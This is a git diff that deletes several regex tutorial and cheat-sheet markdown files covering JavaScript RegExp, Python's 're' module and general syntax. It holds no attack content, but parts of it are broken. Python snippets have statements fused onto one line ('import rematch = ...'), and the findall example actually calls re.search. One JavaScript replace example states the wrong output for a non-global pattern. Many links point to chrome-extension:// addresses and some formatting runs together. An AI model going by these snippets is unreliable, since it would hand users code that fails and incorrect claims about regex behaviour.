-    | Inputs                | Matched? |
-    | --------------------- | -------- |
-    | `"i"`                 | `false`  |
-    | `"is"`                | `true`   |
-    | `"Isaac"`             | `false`  |
-    | `"is your name Pat?"` | `false`  |
-    | `"Pat, my name is"`   | `true`   |
-
-### Square Brackets
-
--   Any character of your choice in the brackets
--
--   ex: if pattern is `"a[tm]e"`, then it looks for an `a`, then either `t` or `m`,
-    then an `e`
-
-    | Inputs   | Matched? |
-    | -------- | -------- |
-    | `"ae"`   | `false`  |
-    | `"ate"`  | `true`   |
-    | `"ame"`  | `true`   |
-    | `"atme"` | `false`  |
-    | `"amte"` | `false`  |
-    | `"name"` | `true`   |
-    | `"rate"` | `true`   |
-
--   ex: if pattern is `"a[tm]+e"`, then it looks for an `a`, then one or more of
-    either `t` or `m`, then an `e`
-
-    | Inputs       | Matched? |
-    | ------------ | -------- |
-    | `"ae"`       | `false`  |
-    | `"ate"`      | `true`   |
-    | `"ame"`      | `true`   |
-    | `"atme"`     | `true`   |
-    | `"amtmmmte"` | `true`   |
-    | `"attttte"`  | `true`   |
-    | `"name"`     | `true`   |
-    | `"rate"`     | `true`   |
-    | `"rage"`     | `false`  |
-
-#### Range of characters
-
--   You can indicate a range of characters in the square brackets.
--
--   ex: pattern of `[a-zA-Z]` means any lower/upper letter
--
--   ex: pattern of `[j-w]` means any lower letter from `j` to `w`
-
--   ex: pattern of `[0-9]` means any number from `0` to `9`
-
-#### Hat Operator inside Square Brackets
-
--   Not any of those characters
--
--   ex: if pattern is `"[^aeiou]"`, then it looks for any non-vowel character
-
-    | Inputs    | Matched? |
-    | --------- | -------- |
-    | `"a"`     | `false`  |
-    | `"u"`     | `false`  |
-    | `"why"`   | `true`   |
-    | `"what"`  | `true`   |
-    | `"where"` | `true`   |
-    | `"iou"`   | `false`  |
-
-### Parentheses
-
--   Group of characters
--
--   Primarily used to capture groups of characters for replacements
-
--   ex: if pattern is `"^(is)"`, then it looks for `"is"` at the very start of the
-    string (an equivalent pattern is `"^is"`)
-
-    | Inputs                | Matched? |
-    | --------------------- | -------- |
-    | `"i"`                 | `false`  |
-    | `"is"`                | `true`   |
-    | `"Isaac"`             | `false`  |
-    | `"is your name Pat?"` | `true`   |
-    | `"Pat, my name is"`   | `false`  |
-
--   ex: if pattern is `"at( is)?"`, then it looks for `"at"`, then an optional
-    `" is"`
-
-    | Inputs           | Matched? |
-    | ---------------- | -------- |
-    | `"at"`           | `true`   |
-    | `" is"`          | `false`  |
-    | `"at is"`        | `true`   |
-    | `"that is"`      | `true`   |
-    | `"that is true"` | `true`   |
-    | `"hat"`          | `true`   |
-
-### Special Character Classes
-
--   Lowercase:
-
-    -   `\s` - whitespace (space, tab, newline)
-    -   `\d` - digit
-    -   `\w` - word character (letter, digit, \_)
-
--   Uppercase (not):
-
-    -   `\S` - not whitespace
-    -   `\D` - not a digit
-    -   `\W` - not a word character
-
-## Regular Expressions in JavaScript
-
-[Docs for RegExp in JavaScript]
-
--   You can create a regular expression in JS with forward slashes, `/`
-
-    ```js
-    const regex = /pattern/;
-    // const regex = new RegExp('pattern'); // can do this too
-    ```
-
-### `RegExp.prototype.test`
-
--   returns `true` if there is a match between the regex and a string parameter,
-    otherwise `false`
-
-    ```js
-    const regex = /banana/;
-    console.log(regex.test('this banana is plain')); // true
-    console.log(regex.test('THIS BANANA IS mushy')); // false
-    console.log(regex.test('hello world')); // false
-    ```
-
--   Ignore cases:
-
-    ```js
-    const regex = /banana/i; // 'i' at the end of the pattern ignores cases
-    // const regex = new RegExp('banana', i);
-    console.log(regex.test('this banana is plain')); // true
-    console.log(regex.test('THIS BANANA IS mushy')); // true
-    console.log(regex.test('hello world')); // false
-    ```
-
-### `String.prototype.replace`
-
--   First argument is the pattern, second argument is the string to replace the
-    pattern or a function that will run for every match and the return will be the
-    replacement for that match.
-
--   Returns a new string with all matches of a pattern replaced by a replacement
-    only if pattern is a regular expression and has global search, `g`.
-
--   If the pattern is a string, it will only replace the first match in the returned
-    string.
-
--   Regex that has a global search and ignores casing:
-
-    ```js
-    const str = 'This banana is mushy. I do not like MUSHY bananas';
-    const regex = /mushy/gi;
-    console.log(str.replace(regex, 'green')); // 'This banana is green. I do not like green bananas'
-    ```
-
--   Regex that has a global search and ignores casing with a function as second
-    argument:
-
-    ```js
-    const str = 'This banana is mushy. I do not like MUSHY bananas';
-    const regex = /mushy/gi;
-    let count = 0;
-    console.log(
-        str.replace(regex, (match) => {
-            if (count++ % 2 === 0) return 'green';
-            else return match;
-        })
-    ); // 'This banana is green. I do not like MUSHY bananas'
-    ```
-
--   Regex that has no global search:
-
-    ```js
-    const str = 'This banana is mushy. I do not like mushy bananas';
-    const regex = /mushy/;
-    console.log(str.replace(regex, 'green')); // 'This banana is green. I do not like green bananas'
-    ```
-
--   Pattern as a string:
-
-    ```js
-    const str = 'This banana is mushy. I do not like mushy bananas';
-    const patternStr = 'mushy';
-    console.log(str.replace(patternStr, 'green')); // 'This banana is green. I do not like mushy bananas'
-    ```
-
--   Cool pattern matching with regex:
-
-    ```js
-    const data = { name: 'Fido', age: 4, favToy: 'bone' };
-    const regex = /%\w+%/g;
-    const str = "My dog's name is %name%. He is %age% years old. His favorite toy is %favToy%.";
-    const replacedStr = str.replace(regex, (match) => {
-        const key = match.replace(/%/g, '');
-        return data[key];
-    });
-    console.log(replacedStr); //"My dog's name is Fido. He is 4 years old. His favorite toy is bone."
-    ```
-
-[practice with regular expression]: https://regexr.com/
-[docs for regexp in javascript]: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp
diff --git a/docs/content/cheat-sheets/regex-basics.md b/docs/content/cheat-sheets/regex-basics.md
deleted file mode 100644
index c43bf5f586..0000000000
--- a/docs/content/cheat-sheets/regex-basics.md
+++ /dev/null
@@ -1,55 +0,0 @@
-# Regex tutorial  —  A quick cheatsheet by examples
-
-> Regular expressions (regex or regexp) are extremely useful in extracting information from any text by searching a specific search pattern
-
-**UPDATE!** Check out my new [REGEX COOKBOOK](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/@fox.jonny/regex-cookbook-most-wanted-regex-aa721558c3c1) about the most commonly used (and most wanted) regex 🎉
-
-Regular expressions (regex or regexp) are extremely useful in **extracting information from any text** by searching for one or more matches of a specific search pattern (i.e. a specific sequence of ASCII or unicode characters).
-
-Fields of application range from validation to parsing/replacing strings, passing through translating data to other formats and web scraping.
-
-One of the most interesting features is that once you've learned the syntax, you can actually use this tool in (almost) all programming languages ​​(JavaScript, Java, VB, C #, C / C++, Python, Perl, Ruby, Delphi, R, Tcl, and many others) with the slightest distinctions about the support of the most advanced features and syntax versions supported by the engines).
-
-Let's start by looking at some examples and explanations.
-
-## **Anchors — ^ and $**
-
-**^The** matches any string that **starts with** **The** \-> [**Try it!**](https://regex101.com/r/cO8lqs/2)**end$** matches a string that **ends with** **end\*\***^The end$ exact string match** (starts and ends with **The end**)**roar** matches any string that **has the text roar in it\*\*
-
-## **Quantifiers — \* + ? and {}**
-
-abc**\*** matches a string that has **ab followed by zero or more c** \-> [**Try it!**](https://regex101.com/r/cO8lqs/1)abc**+** matches a string that has **ab followed by one or more c**abc**?** matches a string that has **ab followed by zero or one c**abc**{2}** matches a string that has **ab followed by 2 c**abc**{2,}** matches a string that has **ab followed by 2 or more c**abc**{2,5}** matches a string that has **ab followed by 2 up to 5 c**a**(bc)\*** matches a string that has **a followed by zero or more copies of the sequence bc**a**(bc){2,5}** matches a string that has **a followed by 2 up to 5 copies of the sequence bc**
-
-## OR operator — | or \[\]
-
-**a(b|c)** matches a string that has **a followed by b or c** _(and captures_ **_b or c_**_)_ **->** [**Try it!**](https://regex101.com/r/cO8lqs/3)**a\[bc\]** same as previous, _but without capturing b or c_
-
-## Character classes — \\d \\w \\s and .
-
-**\\d** matches a **single character** that is a **digit** \-> [**Try it!**](https://regex101.com/r/cO8lqs/4)**\\w** matches a **word character** (alphanumeric character plus underscore) -> [**Try it!**](https://regex101.com/r/cO8lqs/4)**\\s** matches a **whitespace character** (includes tabs and line breaks)**.** matches **any character** \-> [**Try it!**](https://regex101.com/r/cO8lqs/5)
-
-Use the `.` operator carefully since often class or negated character class (which we'll cover next) are faster and more precise.
-
-`\d`, `\w` and `\s` also present their negations with `\D`, `\W` and `\S` respectively.
-
-For example, `\D` will perform the inverse match with respect to that obtained with `\d`.
-
-**\\D** matches a **single non-digit character** \-> [**Try it!**](https://regex101.com/r/cO8lqs/6)
-
-In order to be taken literally, you must escape the characters `^.[$()|*+?{\`with a backslash `\` as they have special meaning.
-
-**\\$\\d** matches a string that has a **$ before one digit** \-> [**Try it!**](https://regex101.com/r/cO8lqs/9)
-
-Notice that you can match also **non-printable characters** like tabs `\t`, new-lines `\n`, carriage returns `\r`.
-
-## Flags
-
-We are learning how to construct a regex but forgetting a fundamental concept: **flags**.
-
-A regex usually comes within this form `**/**abc**/**`, where the search pattern is delimited by two slash characters `/`. At the end we can specify a flag with these values (we can also combine them each other):
-
--   **g** (global) does not return after the first match, restarting the subsequent searches from the end of the previous match
--   **m** (multi-line) when enabled `^` and `$` will match the start and end of a line, instead of the whole string
--   **i** (insensitive) makes the whole expression case-insensitive (for instance `**/aBc/i**` would match `**AbC**`)
-
-[Source](https://medium.com/factory-mind/regex-tutorial-a-simple-cheatsheet-by-examples-649dc1c3f285)
diff --git a/docs/content/cheat-sheets/regex-in-python.md b/docs/content/cheat-sheets/regex-in-python.md
deleted file mode 100644
index 788407668c..0000000000
--- a/docs/content/cheat-sheets/regex-in-python.md
+++ /dev/null
@@ -1,161 +0,0 @@
-# Regex In Python
-
-### What Are Regular Expressions?
-
-Regular expressions are patterns that help a user match character combinations in text files and strings. You can use regular expressions to filter or find a specific pattern in the output of a command or a document.
-
-There are various use cases of regular expressions, the most renowned being [the grep command in Linux](https://www.makeuseof.com/grep-command-practical-examples/). Other applications include information filtering such as extracting email addresses and phone numbers from a data dump.
-
-The main reason why many developers stray away from regular expressions is the lack of awareness about the power of pattern matching. Some even find regular expressions confusing because of the hefty amount of characters and sequences used in the patterns.
-
-Whatever the reason may be, regular expressions are and will be one of the most important aspects of programming that everyone should know about.
-
-### Regular Expressions: Matching Characters and Sequences
-
-Regex is a whole new language in itself. A regex engine interprets patterns comprised of several characters equipped with specific meanings. Basic literals such as alphanumeric characters match themselves. But complex characters such as $, \*, +, {, etc. aid in higher-order matching.
-
-1. **Asterisk (\*):** Matches the preceding character zero or more times. The literal meaning of the character would be "Element multiplied n times". For example, if the regular expression is **abc\***, the strings matched will be ab, abc, abcc, abccc, abcccc, etc. The expression **\[bc]\*** will match bc, bcbc, bcbc, etc.
-2. **Plus (+):** Matches the preceding character one or more times. The working of the **+** character is similar to **\***, but the **+** character omits the pattern if the character doesn't occur. For example, **abc+** will match abc, abcc, abccc, etc. but not ab.
-3. **Question Mark (?):** Matches the preceding character zero or one time(s). For example, the pattern **abc?** will match ab and abc only.
-4. **Pipe (|):** Used as a binary **OR** operator. Matches either of the characters preceding and succeeding the pipe. For example, **a|b** will match either a or b.
-5. **Dot (.):** Matches a character whose identity is unknown. For example, **a.c** will match aac, abc, acc, a2c, and so on.
-6. **Carrot (^):** Matches the first character in the pattern. For example, **^Ra** will match words starting with **Ra** such as Rabbit, Raccoon, and Random.
-7. **Dollar ($):** Matches the last character in the pattern. For example, **an$** will match words ending with **an** such as Van, Dan, and Plan.
-8. **Hyphen (-):** Used to define a range of characters. For example, **\[0-9]** will match all single-digit numeric characters.
-
-Special sequences used in regular expression patterns are:
-
-1. **\A:** Returns a match if the succeeding characters are present at the beginning of the string. For example, **\AThe** will match words starting with the **The** such as The, Them, They, etc.
-2. **\b:** Returns a match if the character is found at either the beginning or at the end of a word. For example, **\bmad** and **mad\b** will match words such as **made** and **nomad** respectively.
-3. **\B:** Returns a match if the character is not found at the beginning or end of a word.
-4. **\d:** Matches numerical characters present in the string. For example, **/d\*** will match numbers such as 1, 12, 1232, etc.
-5. **\D:** Matches non-numerical characters in the string. **/D** will match a, b, c, f, etc.
-6. **\s:** Matches a whitespace character in the text.
-7. **\S:** Matches a non-whitespace character in the text.
-8. **\w:** Returns a match if the string contains alphanumeric characters including underscores. For example, **\w** will match a, b, c, d, 1, 2, 3, etc.
-9. **\W:** Returns a match if the string doesn't contain alphanumeric characters or underscores.
-10. **\Z:** Matches characters at the end of a string. For example, **end\Z** will match words ending with **end** such as bend, mend, tend, etc.
-
-### Python Methods for Regular Expressions
-
-In Python, the **re** library provides all the necessary functions and utilities required to implement regex in your programs. You don't have to download the library using pip as it comes preinstalled with the Python interpreter.
-
-To import the **re** library in Python, add the following code to your script:
-
-```
-import re
-```
-
-Note that while passing regular expressions in Python, we use raw strings as they do not interpret special characters such as and differently.
-
-#### Match()
-
-The **re.match()** method in Python returns a regex object if the program finds a match at the beginning of the specified string. This function takes two basic arguments:
-
-```
-re.match(pattern, string)
-```
-
-...where **pattern** is the regular expression and **string** is the text that needs to be searched.
-
-Take a look at the code snippet below.
-
-```
-import rematch = re.match(r'Word', "This sentence contains a Word")print(match)
-```
-
-The **r** character before the string stands for raw string.
-
-Output:
-
-```
-None
-```
-
-The aforementioned code returns **None** because **Word** wasn't present at the beginning of the string.
-
-If a match is found, you can print the match using the **group()** method that belongs to the regex object.
-
-```
-import rematch = re.match(r'Word', "Word is hard to read")print(match.group(0))
-```
-
-Output:
-
-```
-Word
-```
-
-#### Search()
-
-The **re.search()** method takes similar arguments as re.match(). While match() only returns matches present at the beginning of the string, **search()** will return matches found at any index in the string.
-
-```
-import rematch = re.search(r'Word', "This sentence contains a Word. Word is hard to read.")print(match.group(0))
-```
-
-Note that the **match()** and **search()** methods will only return one pattern match. In the above-mentioned code, **Word** appears twice. But the **search()** function will only match the first occurrence of the word.
-
-```
-Word
-```
-
-#### FindAll()
-
-As you can already guess, the **findall()** method returns every possible match in the string.
-
-```
-import rematch = re.search(r'Word', "This sentence contains a Word. Word is hard to read.")for elem in match: print(elem)
-```
-
-Instead of returning a regex object, the findall() function returns a list of all the matches. You can iterate through the list using a [for loop in python](https://www.makeuseof.com/learn-for-loops-in-python/).
-
-#### Split()
-
-If you want to split a string into sub-strings using a pattern as a delimiter, then the **split()** function is the one you need.
-
-```
-import resplit = re.split(r'and', "This word and that and this are different.")print(split)
-```
-
-Output:
-
-```
-['This word", "that", "this are different."]
-```
-
-#### Sub()
-
-The **sub()** method allows a user to substitute a specific word in the place of a pattern. It takes the following arguments.
-
-```
-re.sub(pattern, replacement, string)
-```
-
-Consider this code snippet:
-
-```
-import reresult = re.sub(r'and', 'or', "Dave and Harry must be punished.")print(result)
-```
-
-Output:
-
-```
-Dave or Harry must be punished.
-```
-
-#### Compile()
-
-The **re.compile()** method in the **re** library allows a user to store a compiled version of the regular expression pattern in the memory. Then, using the compiled object, the user can quickly filter the specified text dump for matched patterns.
-
-```
-import repattern = re.compile('Python')match = pattern.findall("Python is a great language for writing scripts. Python is easy to learn.")print(match)
-```
-
-This function is primarily used for saving patterns that are resource-intensive and need a lot of time to run. Compiling and saving the pattern as an object beforehand solves this issue.
-
-### Leverage the Power of Regex With Python
-
-When you are working with text files and output, regex is a great tool to have at your disposal. You can quickly write some code to filter or substitute specific patterns in the document.
-
-Memorizing all the characters and matching sequences can be hard if you're just starting out with regex. To get better at regular expressions, referring to a list of characters, methods, and sequences every now and then will definitely help you in the long run.
diff --git a/docs/content/cheat-sheets/regex-units-cheat-sheet.md b/docs/content/cheat-sheets/regex-units-cheat-sheet.md
deleted file mode 100644
index 4df440e172..0000000000
--- a/docs/content/cheat-sheets/regex-units-cheat-sheet.md
+++ /dev/null
@@ -1,53 +0,0 @@
-# REGEX units Cheat Sheet
-
--   #### Anchors
-
-    -   `^`: start of the string or the start of a line in a multiline pattern
-    -   `$`: end of the string or the end of a line in a multiline pattern
-    -   `\b`: word boundary
-    -   `\B`: not word boundary (opposite of `\b`)
-
-    Note: Anchors are non-quantifiable (i.e. cannot be followed by a quantifier).
-
-    #### Character sequences
-
-    -   `.`: any character except line breaks
-    -   `\w`: any word character
-    -   `\W`: any non-word character (opposite of `\w`)
-    -   `\s`: any whitespace character
-    -   `\S`: any non-whitespace character (opposite of `\s`)
-    -   `\d`: any digit character
-    -   `\D`: any non-digit character (opposite of `\d`)
-    -   `[abc]`: a single character in the given set (here `a`, `b` or `c`)
-    -   `[^abc]`: a single character not in the given set (opposite of `[abc]`)
-    -   `[a-z]`: a single character in the given range (here between `a` and `z` inclusive)
-    -   `[^a-z]`: a single character not in the given range (opposite of `[a-z]`)
-    -   `[a-zA-Z]`: a single character in either of the given ranges
-
-    Note: Use `\` to escape special characters (e.g. `\`, `/`, `[`, `]`, `(`, `)`, `{`, `}` etc.).
-
-    #### Quantifiers
-
-    -   `a?`: zero or one of `a` (equal to `a{0,1}`)
-    -   `a*`: zero or more of `a` (equal to `a{0,}`)
-    -   `a+`: one or more of `a` (equal to `a{1,}`)
-    -   `a{3}`: exactly 3 of `a`
-    -   `a{3,}`: 3 or more of `a`
-    -   `a{3,5}`: between 3 and 5 of `a` (inclusive)
-
-    Note: `a` is any valid quantifiable expression.
-
-    #### Groups
-
-    -   `(ab)`: match and capture everything enclosed (here exactly `ab`)
-    -   `(a|b)`: match and capture either one character (here `a` or `b`)
-    -   `(?:ab)`: match everything enclosed, without capturing
-
-    #### Flags
-
-    -   `g`: Global
-    -   `m`: Multiline
-    -   `i`: Case insensitive
-    -   `u`: Unicode
-
-    Note that this cheatsheet is meant only as a starting point and is by no means a complete guide to all the features and nuances of regular expressions. You can also read [6 JavaScript Regular Expression features you can use today](https://www.30secondsofcode.org/blog/s/6-javascript-regexp-tricks) for a deeper dive into some more advanced features.
diff --git a/docs/content/cheat-sheets/regex.md b/docs/content/cheat-sheets/regex.md
deleted file mode 100644
index 9d0bae27e6..0000000000
--- a/docs/content/cheat-sheets/regex.md
+++ /dev/null
@@ -1,462 +0,0 @@
-# Regular expressions
-
-> Regular expressions are patterns used to match character combinations in strings. In JavaScript, regular expressions are also objects. These patterns are used with the exec() and test() methods of RegExp, and with the match(), matchAll(), replace(), replaceAll(), search(), and split() methods of String. This chapter describes JavaScript regular expressions.
-
-Regular expressions are patterns used to match character combinations in strings. In JavaScript, regular expressions are also objects. These patterns are used with the [`exec()`](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/exec) and [`test()`](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/test) methods of [`RegExp`](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp), and with the [`match()`](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/match), [`matchAll()`](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/matchAll), [`replace()`](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace), [`replaceAll()`](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replaceAll), [`search()`](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/search), and [`split()`](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/split) methods of [`String`](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Reference/Global_Objects/String). This chapter describes JavaScript regular expressions.
-
-## Creating a regular expression
-
-You construct a regular expression in one of two ways:
-
--   Using a regular expression literal, which consists of a pattern enclosed between slashes, as follows:
-
-          let re = /ab+c/;
-
-    Regular expression literals provide compilation of the regular expression when the script is loaded. If the regular expression remains constant, using this can improve performance.
-
--   Or calling the constructor function of the [`RegExp`](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp) object, as follows:
-
-          let re = new RegExp('ab+c');
-
-    Using the constructor function provides runtime compilation of the regular expression. Use the constructor function when you know the regular expression pattern will be changing, or you don't know the pattern and are getting it from another source, such as user input.
-
-## Writing a regular expression pattern
-
-A regular expression pattern is composed of simple characters, such as `/abc/`, or a combination of simple and special characters, such as `/ab*c/` or `/Chapter (\d+)\.\d*/`. The last example includes parentheses, which are used as a memory device. The match made with this part of the pattern is remembered for later use, as described in [Using groups](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Guide/Regular_Expressions/Groups_and_Ranges#Using_groups).
-
-**Note:** If you are already familiar with the forms of a regular expression, you may also read [the cheatsheet](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Guide/Regular_Expressions/Cheatsheet) for a quick lookup for a specific pattern/construct.
-
-### Using simple patterns
-
-Simple patterns are constructed of characters for which you want to find a direct match. For example, the pattern `/abc/` matches character combinations in strings only when the exact sequence `"abc"` occurs (all characters together and in that order). Such a match would succeed in the strings `"Hi, do you know your abc's?"` and `"The latest airplane designs evolved from slabcraft."` In both cases the match is with the substring `"abc"`. There is no match in the string `"Grab crab"` because while it contains the substring `"ab c"`, it does not contain the exact substring `"abc"`.
-
-### Using special characters
-
-When the search for a match requires something more than a direct match, such as finding one or more b's, or finding white space, you can include special characters in the pattern. For example, to match _a single `"a"` followed by zero or more `"b"`s followed by `"c"`_, you'd use the pattern `/ab*c/`: the `*` after `"b"` means "0 or more occurrences of the preceding item." In the string `"cbbabbbbcdebc"`, this pattern will match the substring `"abbbbc"`.
-
-The following pages provide lists of the different special characters that fit into each category, along with descriptions and examples.
-
-[Assertions](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Guide/Regular_Expressions/Assertions)
-
-Assertions include boundaries, which indicate the beginnings and endings of lines and words, and other patterns indicating in some way that a match is possible (including look-ahead, look-behind, and conditional expressions).
-
-[Character classes](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Guide/Regular_Expressions/Character_Classes)
-
-Distinguish different types of characters. For example, distinguishing between letters and digits.
-
-[Groups and ranges](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Guide/Regular_Expressions/Groups_and_Ranges)
-
-Indicate groups and ranges of expression characters.
-
-[Quantifiers](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Guide/Regular_Expressions/Quantifiers)
-
-Indicate numbers of characters or expressions to match.
-
-[Unicode property escapes](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Guide/Regular_Expressions/Unicode_Property_Escapes)
-
-Distinguish based on unicode character properties, for example, upper- and lower-case letters, math symbols, and punctuation.
-
-If you want to look at all the special characters that can be used in regular expressions in a single table, see the following:
-
-Special characters in regular expressions.
-| Characters / constructs | Corresponding article |
-| --- | --- |
-| `\`, `.`, `\cX`, `\d`, `\D`, `\f`, `\n`, `\r`, `\s`, `\S`, `\t`, `\v`, `\w`, `\W`, `\0`, `\xhh`, `\uhhhh`, `\uhhhhh`, `[\b]` |
-[Character classes](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Guide/Regular_Expressions/Character_Classes)
-
-|
-| `^`, `$`, `x(?=y)`, `x(?!y)`, `(?<=y)x`, `(?<!y)x`, `\b`, `\B` |
-
-[Assertions](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Guide/Regular_Expressions/Assertions)
-
-|
-| `(x)`, `(?:x)`, `(?<Name>x)`, `x|y`, `[xyz]`, `[^xyz]`, `\_Number_` |
-
-[Groups and ranges](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Guide/Regular_Expressions/Groups_and_Ranges)
-
-|
-| `*`, `+`, `?`, `x{_n_}`, `x{_n_,}`, `x{_n_,_m_}` |
-
-[Quantifiers](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Guide/Regular_Expressions/Quantifiers)
-
-|
-| `\p{_UnicodeProperty_}`, `\P{_UnicodeProperty_}` | [Unicode property escapes](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Guide/Regular_Expressions/Unicode_Property_Escapes) |
-
-### Escaping
-
-If you need to use any of the special characters literally (actually searching for a `"*"`, for instance), you must escape it by putting a backslash in front of it. For instance, to search for `"a"` followed by `"*"` followed by `"b"`, you'd use `/a\*b/` — the backslash "escapes" the `"*"`, making it literal instead of special.
-
-Similarly, if you're writing a regular expression literal and need to match a slash ("/"), you need to escape that (otherwise, it terminates the pattern). For instance, to search for the string "/example/" followed by one or more alphabetic characters, you'd use `/\/example\/[a-z]+/i`—the backslashes before each slash make them literal.
-
-To match a literal backslash, you need to escape the backslash. For instance, to match the string "C:\\" where "C" can be any letter, you'd use `/[A-Z]:\\/` — the first backslash escapes the one after it, so the expression searches for a single literal backslash.
-
-If using the `RegExp` constructor with a string literal, remember that the backslash is an escape in string literals, so to use it in the regular expression, you need to escape it at the string literal level. `/a\*b/` and `new RegExp("a\\*b")` create the same expression, which searches for "a" followed by a literal "\*" followed by "b".
-
-If escape strings are not already part of your pattern you can add them using [`String.replace`](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace):
-
-    function escapeRegExp(string) {
-      return string.replace(/[.*+\-?^${}()|[\]\\]/g, '\\$&');
-    }
-
-The "g" after the regular expression is an option or flag that performs a global search, looking in the whole string and returning all matches. It is explained in detail below in [Advanced Searching With Flags](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions#Advanced_searching_with_flags).
-
-_Why isn't this built into JavaScript?_ There is a proposal to add such a function to RegExp, but it was [rejected by TC39.](https://github.com/benjamingr/RegExp.escape/issues/37)
-
-### Using parentheses
-
-Parentheses around any part of the regular expression pattern causes that part of the matched substring to be remembered. Once remembered, the substring can be recalled for other use. See [Groups and ranges](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Guide/Regular_Expressions/Groups_and_Ranges#Using_groups) for more details.
-
-## Using regular expressions in JavaScript
-
-Regular expressions are used with the `RegExp` methods `test()` and `exec()` and with the `String` methods `match()`, `replace()`, `search()`, and `split()`. These methods are explained in detail in the [JavaScript reference](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Reference 'en-US/docs/JavaScript/Reference').
-
-Methods that use regular expressions
-| Method | Description |
-| --- | --- |
-| [`exec()`](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/exec) | Executes a search for a match in a string. It returns an array of information or `null` on a mismatch. |
-| [`test()`](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/test) | Tests for a match in a string. It returns `true` or `false`. |
-| [`match()`](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/match) | Returns an array containing all of the matches, including capturing groups, or `null` if no match is found. |
-| [`matchAll()`](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/matchAll) | Returns an iterator containing all of the matches, including capturing groups. |
-| [`search()`](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/search) | Tests for a match in a string. It returns the index of the match, or `-1` if the search fails. |
-| [`replace()`](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace) | Executes a search for a match in a string, and replaces the matched substring with a replacement substring. |
-| [`replaceAll()`](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replaceAll) | Executes a search for all matches in a string, and replaces the matched substrings with a replacement substring. |
-| [`split()`](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/split) | Uses a regular expression or a fixed string to break a string into an array of substrings. |
-
-When you want to know whether a pattern is found in a string, use the `test()` or `search()` methods; for more information (but slower execution) use the `exec()` or `match()` methods. If you use `exec()` or `match()` and if the match succeeds, these methods return an array and update properties of the associated regular expression object and also of the predefined regular expression object, `RegExp`. If the match fails, the `exec()` method returns `null` (which coerces to `false`).
-
-In the following example, the script uses the `exec()` method to find a match in a string.
-
-    var myRe = /d(b+)d/g;
-    var myArray = myRe.exec('cdbbdbsbz');
-
-If you do not need to access the properties of the regular expression, an alternative way of creating `myArray` is with this script:
-
-    var myArray = /d(b+)d/g.exec('cdbbdbsbz');
-
-(See [different behaviors](#g-different-behaviors) for further info about the different behaviors.)
-
-If you want to construct the regular expression from a string, yet another alternative is this script:
-
-    var myRe = new RegExp('d(b+)d', 'g');
-    var myArray = myRe.exec('cdbbdbsbz');
-
-With these scripts, the match succeeds and returns the array and updates the properties shown in the following table.
-
-Results of regular expression execution.
-| Object | Property or index | Description | In this example |
-| --- | --- | --- | --- |
-| `myArray` | | The matched string and all remembered substrings. | `['dbbd', 'bb', index: 1, input: 'cdbbdbsbz']` |
-| `index` | The 0-based index of the match in the input string. | `1` |
-| `input` | The original string. | `'cdbbdbsbz'` |
-| `[0]` | The last matched characters. | `'dbbd'` |
